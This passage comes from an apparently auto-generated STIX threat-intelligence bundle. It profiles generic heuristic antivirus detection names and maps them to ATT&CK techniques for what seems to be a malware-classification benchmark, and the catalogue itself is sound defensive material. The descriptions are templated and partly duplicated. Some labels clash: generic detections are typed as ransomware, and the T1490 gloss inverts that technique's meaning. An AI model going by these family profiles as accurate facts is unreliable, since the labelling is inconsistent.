      "relationship_type": "uses",
      "source_ref": "malware--2a369062-3476-5416-86aa-d34fb89d7126",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxft exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--00c69f1e-d297-508c-ab54-60efaa839225",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a369062-3476-5416-86aa-d34fb89d7126",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxft exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bdbdf5d9-181f-5104-8acf-380c5415aebc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a369062-3476-5416-86aa-d34fb89d7126",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxft exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4d7b46a1-7e2e-55ca-8e72-05fd845f38c0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a369062-3476-5416-86aa-d34fb89d7126",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxft exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0afd5247-df77-5e37-ac21-e32ce2785d9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--2a369062-3476-5416-86aa-d34fb89d7126",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxft exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--636ace18-865e-512e-9acf-821d687f35fb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfu",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxfu\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a specific, named malware family but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or highly obfuscated payload attempting to compromise the system.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxfu\" label is applied when a file's execution behavior triggers a specific set of advanced heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware variants that easily evade traditional static signature detection.\n\nCommon behaviors that trigger this detection include:\n<ul>\n<li><strong>Suspicious Packing (High Entropy):</strong> The executable is heavily compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering and static analysis.</li>\n<li><strong>Process Injection:</strong> The executable attempts to inject malicious code into a legitimate Windows process to hide its execution and bypass local firewalls.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to rapidly download executable files from unverified domains into temporary directories.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxfu alert must be treated as a high-priority security incident. Because the alert is generic, the true intent of the underlying threat is unknown; it could be a relatively benign adware installer, or it could be the initial access dropper for a devastating, enterprise-wide ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt any active C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere in the environment.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxfu",
        "Heur.Genericrxfu",
        "Suspicious.Genericrxfu"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc774149-2ac9-5b36-8a48-e382669d2e16",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--636ace18-865e-512e-9acf-821d687f35fb",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfu exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f0825bc-e254-5bd8-868f-52ed90aed1a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--636ace18-865e-512e-9acf-821d687f35fb",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--53783d49-1e9b-5a15-86ab-8889cde2d4b0",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--636ace18-865e-512e-9acf-821d687f35fb",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfu exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3e845c46-b78d-5de0-ae8a-53c8ed26232a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--636ace18-865e-512e-9acf-821d687f35fb",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfu exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f20a9c89-69e9-5cab-96a6-668580ed1fd7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--636ace18-865e-512e-9acf-821d687f35fb",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfu exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6c7814b3-3e17-57b4-9abe-89f2f1b91598",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--636ace18-865e-512e-9acf-821d687f35fb",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfu exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5a0b5635-f5d4-5e0c-9c0f-df7b66cc97f1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfv",
      "description": "Trojan:Win32/Genericrxfv is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Genericrxfv</b><br>To an end-user, a Genericrxfv infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Genericrxfv is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Genericrxfv is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Genericrxfv frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Genericrxfv reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfv",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfv"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1cdf02c7-18e7-558b-9a5f-935c47cb3a0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0b5635-f5d4-5e0c-9c0f-df7b66cc97f1",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfv exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5410f9f-aefe-567b-9ec5-f63152f87360",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0b5635-f5d4-5e0c-9c0f-df7b66cc97f1",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfv exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2a6f1260-650e-53d4-a1ec-ab847919fe96",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0b5635-f5d4-5e0c-9c0f-df7b66cc97f1",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfv exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6cbc825a-0fa2-574c-95ca-b2ac8decf512",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0b5635-f5d4-5e0c-9c0f-df7b66cc97f1",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfv exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8216f924-42da-5c16-b752-b23a8ab13d39",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5a0b5635-f5d4-5e0c-9c0f-df7b66cc97f1",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfv exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--4161ec4d-79da-524d-ac35-a1a4b0532eb4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxfy",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxfy\" (often displayed as Generic.RX.Trojan or Generic.RX.Suspicious) is a heuristic detection name utilized by various antivirus engines. It flags files that exhibit highly suspicious, potentially destructive runtime behaviors characteristic of Trojans, Backdoors, or Loaders. The \"rx\" denotes a detection based on advanced heuristics or sandboxed behavioral analysis rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxfy are typically distributed via malicious email attachments (spear-phishing), dropped by exploit kits on compromised websites, or delivered as secondary payloads by initial access brokers.\n\nUpon execution, this class of malware prioritizes establishing a foothold and evading detection:\n<ul>\n<li><strong>Process Injection and Hollowing:</strong> The malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Unauthorized Persistence:</strong> It attempts to ensure survival across reboots by modifying critical Windows Registry hives (e.g., `Run`, `RunOnce`, `Winlogon`) or creating hidden Scheduled Tasks.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain (Command and Control) to receive further instructions or download additional payloads (acting as a loader).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Genericrxfy detection in a critical system directory is a severe indicator of compromise (IoC). It strongly suggests that a potentially advanced threat has bypassed initial static defenses and is attempting to execute malicious code on the endpoint. Immediate investigation is required to determine the true nature of the payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against these polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on the malicious behavior flagged by the heuristic engine.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for sophisticated evasion techniques and secondary payload delivery, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.RX",
        "Suspicious.Generic",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxfy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxfy"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ee679d96-619e-5da9-a0f8-dc42b8ba2a60",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4161ec4d-79da-524d-ac35-a1a4b0532eb4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--76660581-4f9f-5cd5-9e8c-05626d89d972",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4161ec4d-79da-524d-ac35-a1a4b0532eb4",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfy exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e3e71b0-24f8-5c02-9c53-ce85acba72a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4161ec4d-79da-524d-ac35-a1a4b0532eb4",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfy exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bef51179-92de-597d-bd2a-de8bff87f23a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--4161ec4d-79da-524d-ac35-a1a4b0532eb4",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxfy exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--3ed52553-220f-59ed-b02c-640542b0c85b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgb",
      "description": "Trojan:Win32/Genericrxgb (or similar heuristically named detections) signifies that the antivirus engine has blocked a file not based on a specific, known signature, but because its behavior, structure, or origin heavily aligns with malicious patterns (`T1105`). This often indicates a newly compiled malware variant (zero-day), a heavily obfuscated dropper, or a polymorphic threat designed specifically to evade traditional static analysis.<br><br><b>Understanding Generic/Heuristic Detections</b><br>To an end-user, the experience is the same as a known malware block\u2014the file is quarantined. For a SOC analyst, a 'Genericrxgb' alert demands investigation. Because the AV doesn't know *what* family the malware belongs to, the analyst must determine the malware's ultimate intent (e.g., was it trying to drop ransomware, steal credentials, or join a botnet?).<br><br><b>Execution and Behavioral Indicators</b><br>Generic detections are often triggered when a file attempts highly suspicious actions upon execution. These include attempting to inject code into legitimate processes like `explorer.exe` or `svchost.exe` (`T1055`), trying to write to protected registry keys (like Run keys for persistence) (`T1547.001`), or unpacking itself in memory and making immediate, anomalous outbound network connections (`T1027.002`). The AV engine observes this chain of events and terminates the process heuristically.<br><br><b>Indicators of Compromise (IoCs)</b><br>IoCs for generic detections are inherently behavioral rather than static. Security teams must rely on EDR telemetry to reconstruct the process tree. Look for the initial vector (e.g., an Office document spawning PowerShell or a command prompt) leading to the execution of the flagged executable. Network IoCs involve identifying the C2 infrastructure the malware attempted to contact before it was terminated. The file hash itself is an IoC, but may be unique to this specific attack (polymorphic). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxgb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxgb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8b8fb781-ed01-5a53-981a-0458b9883aa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ed52553-220f-59ed-b02c-640542b0c85b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgb exhibits technique T1105 (Ingress Tool Transfer (The generic behavior of downloading a payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b242f1ad-164e-5bb4-99f4-1a48a2c75407",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ed52553-220f-59ed-b02c-640542b0c85b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgb exhibits technique T1055 (Process Injection (A common trigger for heuristic detection engines))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1a052a41-fafd-5b80-8b03-35fe65835a66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--3ed52553-220f-59ed-b02c-640542b0c85b",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxgb exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing (High entropy triggering generic alerts))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c106682c-02ce-5528-b33f-3db560eede55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxge",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxge\" (often displayed as Generic.RX.Trojan or Generic.RX.Suspicious) is a heuristic detection name utilized by various antivirus engines. It flags files that exhibit highly suspicious, potentially destructive runtime behaviors characteristic of Trojans, Backdoors, or Loaders. The \"rx\" denotes a detection based on advanced heuristics or sandboxed behavioral analysis rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxge are typically distributed via malicious email attachments (spear-phishing), dropped by exploit kits on compromised websites, or delivered as secondary payloads by initial access brokers.\n\nUpon execution, this class of malware prioritizes establishing a foothold and evading detection:\n<ul>\n<li><strong>Process Injection and Hollowing:</strong> The malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Unauthorized Persistence:</strong> It attempts to ensure survival across reboots by modifying critical Windows Registry hives (e.g., `Run`, `RunOnce`, `Winlogon`) or creating hidden Scheduled Tasks.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain (Command and Control) to receive further instructions or download additional payloads (acting as a loader).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Genericrxge detection in a critical system directory is a severe indicator of compromise (IoC). It strongly suggests that a potentially advanced threat has bypassed initial static defenses and is attempting to execute malicious code on the endpoint. Immediate investigation is required to determine the true nature of the payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against these polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on the malicious behavior flagged by the heuristic engine.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for sophisticated evasion techniques and secondary payload delivery, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.RX",
        "Suspicious.Generic",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxge",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxge"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--aacd3ce2-9a5c-5d94-86e2-dbf68d44d891",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c106682c-02ce-5528-b33f-3db560eede55",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxge exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--122aa09c-c78f-5b50-8ea8-05aaffa62e43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c106682c-02ce-5528-b33f-3db560eede55",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxge exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e7d7de77-e445-5d88-9416-2ae4ad8efb55",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c106682c-02ce-5528-b33f-3db560eede55",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxge exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cc821f98-9e0e-5b34-ab71-c1e5adae463c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--c106682c-02ce-5528-b33f-3db560eede55",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxge exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--cd9fe6c2-0392-539a-886c-207ca02ef352",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxgf",
      "description": "Trojan:Win32/Genericrxgf (or similar heuristically named detections) signifies that the antivirus engine has blocked a file not based on a specific, known signature, but because its behavior, structure, or origin heavily aligns with malicious patterns (`T1105`). This often indicates a newly compiled malware variant (zero-day), a heavily obfuscated dropper, or a polymorphic threat designed specifically to evade traditional static analysis.<br><br><b>Understanding Generic/Heuristic Detections</b><br>To an end-user, the experience is the same as a known malware block\u2014the file is quarantined. For a SOC analyst, a 'Genericrxgf' alert demands investigation. Because the AV doesn't know *what* family the malware belongs to, the analyst must determine the malware's ultimate intent (e.g., was it trying to drop ransomware, steal credentials, or join a botnet?).<br><br><b>Execution and Behavioral Indicators</b><br>Generic detections are often triggered when a file attempts highly suspicious actions upon execution. These include attempting to inject code into legitimate processes like `explorer.exe` or `svchost.exe` (`T1055`), trying to write to protected registry keys (like Run keys for persistence) (`T1547.001`), or unpacking itself in memory and making immediate, anomalous outbound network connections (`T1027.002`). The AV engine observes this chain of events and terminates the process heuristically.<br><br><b>Indicators of Compromise (IoCs)</b><br>IoCs for generic detections are inherently behavioral rather than static. Security teams must rely on EDR telemetry to reconstruct the process tree. Look for the initial vector (e.g., an Office document spawning PowerShell or a command prompt) leading to the execution of the flagged executable. Network IoCs involve identifying the C2 infrastructure the malware attempted to contact before it was terminated. The file hash itself is an IoC, but may be unique to this specific attack (polymorphic). (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
